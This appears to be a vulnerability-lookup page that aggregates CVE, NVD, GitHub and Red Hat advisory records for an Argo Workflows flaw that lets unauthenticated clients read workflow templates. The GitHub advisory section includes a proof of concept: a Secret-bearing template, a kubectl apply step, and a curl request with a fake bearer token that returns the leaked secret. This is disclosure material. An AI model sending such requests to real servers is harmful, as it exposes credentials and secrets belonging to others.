Vulnerability-Lookup

CVE-2026-28229 (GCVE-0-2026-28229)

Vulnerability from cvelistv5 – Published: 2026-03-11 15:37 – Updated: 2026-07-15 01:11

Title

Argo Workflows has unauthorized access to Argo Workflows Template

Summary

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-11 17:32 UTC

CWE

CWE-863 - Incorrect Authorization
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7820 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/argoproj/argo-workflows/securi…	x_refsource_CONFIRM
https://access.redhat.com/security/cve/CVE-2026-28229	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2446549	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex
https://access.redhat.com/errata/RHSA-2026:10184	vendor-advisoryx_refsource_REDHAT

Impacted products

9 products

Vendor	Product	Version	CPE status
argoproj	argo-workflows	Affected: >= 4.0.0, < 4.0.2 Affected: < 3.7.11	guessed
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740558 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740640 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740726 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740379 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740386 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740351 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI 2.25	Unaffected: 1776740366 , < * (rpm) cpe:/a:redhat:openshift_ai:2.25::el9
Red Hat	Red Hat OpenShift AI (RHOAI)	cpe:/a:redhat:openshift_ai

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FKIE_CVE-2026-28229

Vulnerability from fkie_nvd - Published: 2026-03-11 16:16 - Updated: 2026-07-15 02:19

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:10184
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-28229
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2446549
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28229.json

Impacted products

	Vendor	Product	Version
	argoproj	argo_workflows	*
	argoproj	argo_workflows	*

JSON

To clipboard

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          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-28229",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-11T17:32:34.148157Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-11T16:16:40.477",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:10184"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-28229"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2446549"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28229.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-56PX-HM34-XQJ5

Vulnerability from github – Published: 2026-03-11 14:49 – Updated: 2026-05-13 15:23

Summary

Unauthorized access to Argo Workflows Template

Details

Summary

Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges.

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

PoC

Create template

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: leak-workflow-template
  namespace: argo
spec:
  templates:
  - name: make-secret
    resource:
      action: create
      manifest: |
        apiVersion: v1
        kind: Secret
        metadata:
          name: leaked-secret
        type: Opaque
        data:
          password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token

Result:

> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
    "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n  name: leaked-secret\ntype: Opaque\ndata:\n  password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Impact

Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T14:49:37Z",
    "nvd_published_at": "2026-03-11T16:16:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWorkflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests.\n\n### Details\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72\n\nInformers use the server\u2019s rest config, so they read using server SA privileges. \n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46\n\n### PoC\n1. Create template\n\n```yml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: leak-workflow-template\n  namespace: argo\nspec:\n  templates:\n  - name: make-secret\n    resource:\n      action: create\n      manifest: |\n        apiVersion: v1\n        kind: Secret\n        metadata:\n          name: leaked-secret\n        type: Opaque\n        data:\n          password: c3VwZXJzZWNyZXQ=\n```\n\nThen apply that with `kubectl apply -f poc.yml`\n2. Query Argo Server with a fake token\n\n**Result:**\n\n```cmd\n\u003e kubectl apply -f poc.yml\nworkflowtemplate.argoproj.io/leak-workflow-template created\n\u003e curl -sk -H \"Authorization: Bearer nothing\" \\\n    \"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template\"\n{\"metadata\":{\"name\":\"leak-workflow-template\",\"namespace\":\"argo\",\"uid\":\"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c\",\"resourceVersion\":\"867394\",\"generation\":1,\"creationTimestamp\":\"REDACTED\",\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"argoproj.io/v1alpha1\\\",\\\"kind\\\":\\\"WorkflowTemplate\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"leak-workflow-template\\\",\\\"namespace\\\":\\\"argo\\\"},\\\"spec\\\":{\\\"templates\\\":[{\\\"name\\\":\\\"make-secret\\\",\\\"resource\\\":{\\\"action\\\":\\\"create\\\",\\\"manifest\\\":\\\"apiVersion: v1\\\\nkind: Secret\\\\nmetadata:\\\\n  name: leaked-secret\\\\ntype: Opaque\\\\ndata:\\\\n  password: c3VwZXJzZWNyZXQ=\\\\n\\\"}}]}}\\n\"},\"managedFields\":[{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"argoproj.io/v1alpha1\",\"time\":\"REDACTED\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}}},\"f:spec\":{\".\":{},\"f:templates\":{}}}}]},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"inputs\":{},\"outputs\":{},\"metadata\":{},\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}],\"arguments\":{}}}\n```\n\n### Impact\nAny client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.",
  "id": "GHSA-56px-hm34-xqj5",
  "modified": "2026-05-13T15:23:17Z",
  "published": "2026-03-11T14:49:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/34afaf9c0c36f1ba8645d483ea4752cfc4a391e8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unauthorized access to Argo Workflows Template"
}

RHSA-2026:10184

Vulnerability from csaf_redhat - Published: 2026-04-23 14:53 - Updated: 2026-11-13 05:24

Summary

Red Hat Security Advisory: RHOAI 2.25.5 - Red Hat OpenShift AI

Severity

Important

Scope

50 vulnerabilities in this advisory, including CVE-2026-28229.

CVE-2026-28229

A flaw was found in Argo Workflows in which an attacker can leak sensitive information contained in Workflow Templates and Cluster Workflow Templates. Because the functions that retrieve template information use server permissions, no authorization is required to read templates which might contain secrets such as passwords, API keys, or other sensitive data.

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Fixed: 21 products Known not affected: 187 products

https://access.redhat.com/errata/RHSA-2026:10184

Open the full advisory

Solutions

ADP · redhat-SADP

RHSA-2026:10184: Red Hat OpenShift AI 2.25

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-28229 (GCVE-0-2026-28229)

FKIE_CVE-2026-28229

GHSA-56PX-HM34-XQJ5

Summary

Details

PoC

Impact

RHSA-2026:10184

Solutions

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour